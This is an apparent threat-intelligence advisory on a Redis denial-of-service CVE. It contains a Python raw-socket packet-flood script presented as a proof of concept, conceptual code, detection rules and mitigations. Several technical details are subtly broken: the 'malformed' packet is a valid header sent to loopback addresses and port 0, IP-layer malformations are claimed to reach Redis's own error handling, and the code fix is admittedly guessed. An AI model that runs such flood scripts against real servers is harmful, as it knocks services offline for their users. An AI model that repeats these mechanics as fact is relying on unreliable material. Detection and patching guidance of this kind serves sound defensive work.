CVE-2025-48367

Executive Summary

CVE-2025-48367 is a high-severity denial-of-service (DoS) vulnerability in Redis, an open-source in-memory data structure store. An unauthenticated attacker can cause client starvation by repeatedly sending malformed IP protocol packets, leading to resource exhaustion and service unavailability. The vulnerability affects all Redis versions prior to 6.2.19, 7.2.10, 7.4.5, and 8.0.3. No public exploit code or proof-of-concept is currently available, and the EPSS score is 0.0%, indicating low exploitation activity at this time. The vendor has released patches, but the patch status is marked as UNKNOWN/UNPATCHED in the original NVD data, which is inconsistent with the advisory.

Supply Chain & Package Security

Redis is widely distributed as a container image (e.g., Docker Hub redis), as a package in Linux distributions (e.g., apt, yum), and as a dependency in many applications. Organizations should verify the version of Redis in their container registries, CI/CD pipelines, and production environments. If Redis is used as a sidecar or cache in microservices, the vulnerability could be exploited to disrupt dependent services.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Impact is confined to the vulnerable component.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – Complete loss of service availability.

Threat Level: High. The low attack complexity and lack of authentication make this a significant risk for any internet-facing Redis instance. The absence of public exploits reduces immediate threat, but the vulnerability is trivial to trigger once understood.

Deep Dive & Mechanics

The vulnerability resides in how Redis handles IP protocol errors during connection establishment. When an unauthenticated client sends a malformed packet that triggers an IP protocol error (e.g., invalid IP version, header corruption, or protocol mismatch), Redis enters a state where it repeatedly attempts to process the error, consuming CPU cycles and blocking other client connections. This leads to client starvation, where legitimate requests are not processed, effectively causing a denial of service.

The root cause is a lack of proper error handling and rate limiting for malformed packets. Instead of dropping the connection after a threshold of errors, Redis continues to allocate resources to handle the erroneous state, eventually exhausting the event loop's capacity.

Attack Scenario:

1. Attacker identifies a Redis instance exposed on port 6379.
2. Attacker sends a continuous stream of malformed IP packets (e.g., using raw sockets or a custom script).
3. Redis server enters an error-handling loop, consuming 100% CPU.
4. Legitimate clients time out or are unable to connect.
5. Service becomes unavailable until the attack stops or Redis is restarted.

Vulnerable vs. Patched Code

The exact code change is not publicly available, but based on the advisory, the fix likely involves:

• Adding a counter for consecutive IP protocol errors per connection.
• Dropping the connection after a configurable threshold (e.g., 10 errors).
• Implementing a backoff or rate limit for error handling.

Vulnerable Code (Conceptual):

// In networking.c or similar
void handle_ip_error(connection *c) {
    // No limit on error handling
    while (has_more_errors(c)) {
        process_error(c);
        // This loop never exits if errors keep coming
    }
}

Patched Code (Conceptual):

// In networking.c or similar
#define MAX_IP_ERRORS 10
void handle_ip_error(connection *c) {
    int error_count = 0;
    while (has_more_errors(c) && error_count < MAX_IP_ERRORS) {
        process_error(c);
        error_count++;
    }
    if (error_count >= MAX_IP_ERRORS) {
        close_connection(c);
    }
}

Exploitation & Lab Setup

Red Team (Exploitation)

No public exploit code is available. However, a proof-of-concept can be developed using Python and raw sockets to send malformed IP packets.

Lab Setup:

1. Deploy a vulnerable Redis instance (e.g., Redis 6.2.18) in a Docker container.
2. Use a Python script to send malformed packets.

Python PoC (Conceptual):

import socket
import time

target_ip = "192.168.1.100"
target_port = 6379

# Create a raw socket
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

# Malformed IP packet (invalid version)
packet = b"\x45\x00\x00\x1c\x00\x01\x00\x00\x40\x06\x00\x00"  # Valid header
packet += b"\x7f\x00\x00\x01"  # Source IP
packet += b"\x7f\x00\x00\x01"  # Dest IP
packet += b"\x00\x00"  # Placeholder for checksum

# Send malformed packets in a loop
while True:
    sock.sendto(packet, (target_ip, 0))
    time.sleep(0.01)

Usage: Run the script against a vulnerable Redis instance. Monitor CPU usage on the Redis server. If CPU spikes to 100% and legitimate clients cannot connect, the exploit is successful.

Blue Team (Defense & Detection)

Detection:

• Monitor for a high rate of connection errors or malformed packets on port 6379.
• Use network monitoring tools to detect anomalous traffic patterns.

Mitigation:

• Immediately upgrade to patched versions.
• If patching is not possible, restrict network access to Redis using firewalls or iptables.
• Implement rate limiting at the network level (e.g., using iptables or a WAF).

Iptables Rule to Limit Connections:

iptables -A INPUT -p tcp --dport 6379 -m connlimit --connlimit-above 100 -j DROP

Indicators of Compromise (IOCs)

• Network IOCs:

  • High volume of malformed IP packets destined for port 6379.
  • Repeated TCP connections from a single IP with rapid SYN/SYN-ACK patterns.
  • Unusual protocol errors in Redis logs (e.g., "IP protocol error" repeated thousands of times).

• Host IOCs:

  • Redis process consuming 100% CPU.
  • Redis logs showing repeated "Connection error" or "Protocol error" messages.
  • Legitimate client connections timing out.

• Log Example:

  [2025-03-15 10:23:45] - Protocol error from 192.168.1.50:6379: Invalid IP version
  [2025-03-15 10:23:45] - Protocol error from 192.168.1.50:6379: Invalid IP version
  [2025-03-15 10:23:45] - Protocol error from 192.168.1.50:6379: Invalid IP version
  

Detection Engineering

YARA Rule

rule CVE_2025_48367_Redis_DoS {
    meta:
        description = "Detects Redis logs indicating IP protocol errors from CVE-2025-48367"
        author = "Valters IT"
        date = "2025-03-15"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-48367"
    strings:
        $error1 = "Protocol error" ascii nocase
        $error2 = "Invalid IP version" ascii nocase
        $error3 = "client starvation" ascii nocase
    condition:
        any of ($error*) and #error1 > 100
}

Sigma Rule

title: Redis IP Protocol Error DoS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects repeated IP protocol errors in Redis logs indicating CVE-2025-48367 exploitation
author: Valters IT
date: 2025-03-15
logsource:
    product: redis
    service: redis
detection:
    selection:
        message|contains:
            - "Protocol error"
            - "Invalid IP version"
    condition: selection | count() > 100 by src_ip within 60s
falsepositives:
    - Legitimate network issues (rare)
level: high

Suricata Rule

alert tcp any any -> any 6379 (msg:"CVE-2025-48367 Redis IP Protocol Error DoS Attempt"; flow:to_server; content:"|00 00 00 00|"; depth:4; offset:0; threshold:type both, track by_src, count 100, seconds 60; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Redis to version 6.2.19, 7.2.10, 7.4.5, or 8.0.3 (or later).
2. Restrict network access to Redis using firewalls. Do not expose Redis to the internet.
3. Enable authentication (requirepass) to reduce attack surface, though this vulnerability does not require authentication.

Long-Term Measures:

• Implement network segmentation for Redis instances.
• Use a reverse proxy or load balancer with rate limiting in front of Redis.
• Monitor Redis logs for anomalies and set up alerts for repeated protocol errors.
• Apply the principle of least privilege: only allow trusted clients to connect.

Workaround (if patching is delayed):

• Use iptables to limit the rate of new connections to port 6379:

  iptables -A INPUT -p tcp --dport 6379 -m state --state NEW -m limit --limit 10/minute --limit-burst 20 -j ACCEPT
  iptables -A INPUT -p tcp --dport 6379 -j DROP
  

Valters IT
DevSecOps & Cyber Threat Intelligence